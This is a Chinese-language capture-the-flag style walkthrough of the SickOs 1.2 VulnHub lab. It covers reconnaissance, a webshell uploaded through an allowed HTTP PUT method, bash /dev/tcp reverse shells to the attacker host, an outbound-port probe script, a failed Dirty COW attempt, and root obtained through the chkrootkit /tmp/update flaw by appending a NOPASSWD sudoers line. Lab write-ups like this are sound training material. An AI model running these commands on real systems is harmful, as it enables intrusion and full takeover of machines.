一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.4)
靶机:SickOs 1.2(10.0.2.15)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.15
使用nmap端口扫描发现靶机开放端口:22、80
nmap -A 10.0.2.15
22端口:根据nmap扫描结果,22端口安装OpenSSH 5.9p1
,该版本存在用户名枚举漏洞
下载exp,枚举用户名,发现两个用户名:root、john
使用hydra对john用户爆破ssh,爆破了5个小时,没爆破出来,放弃了
80端口:打开网站出现一张图片,未发现什么功能点,查看源码也没有发现什么隐藏信息
使用gobuster工具进行目录爆破,只发现一个/test/
目录
gobuster dir -u http://10.0.2.15 -x txt,php,html,bak,sql,xml --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问/test/
什么都没有
使用searchsploit搜索漏洞也没有发现符合lighttpd版本的历史漏洞
到这里就卡住了,后面看了一下网上的wp,使用nmap脚本进行扫描,查看/test目录支持的方法(又学到一招)
nmap --script http-methods --script-args http-methods.url-path='/test' 10.0.2.15
三、漏洞利用
利用PUT方法上传一句话木马,201状态码表示请求成功并且服务器创建了新的资源
使用蚁剑连接一句话木马
反弹shell,反弹失败,可能是靶机端口做了限制
bash -c 'bash -i >& /dev/tcp/10.0.2.4/4444 0>&1'
需要找到允许出站的端口
攻击机执行:
//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
sh文件通过蚁剑上传到靶机,并执行
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 10.0.2.4 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
等待攻击机监听出现连接信息
查看out.txt文件,443端口允许出站
攻击机需要先重启一下恢复iptables规则,不然会反弹shell失败
使用443端口反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.4/443 0>&1'
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
使用命令uname -a
查看系统的内核版本,为Linux ubuntu 3.11.0-15-generic
使用cat /etc/*-release
命令查看靶机的发行版本为:Ubuntu 12.04.4 LTS
并且靶机存在gcc环境
使用经典的脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。
将exp下载下来,使用蚁剑上传到靶机
编译执行,该exp会在/etc/passwd
文件写入一个具有root权限的用户:firefart
gcc -pthread CVE-2016-5195.c -o CVE-2016-5195 -lcrypt
./CVE-2016-5195
靶机直接崩溃了
使用命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,未发现什么有用的文件
使用命令ls -l /etc/cron*
列出计划任务,发现chkrootkit工具:rootkit后门监测工具
查看chkrootkit的版本为:0.49
使用searchsploit查看chkrootkit的历史漏洞,发现本地提权漏洞
查看利用方法:
将名为“update”且具有非 root 所有者的可执行文件放在 /tmp 中
定期以root权限运行 chkrootkit
文件 /tmp/update 将以 root 身份执行
向update文件中写入将www-date添加到sudo组的命令,并且给/tmp/update
添加可执行权限
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update
命令执行成功
切换为root权限
获取flag
参考链接:https://blog.youkuaiyun.com/weixin_45744814/article/details/120135783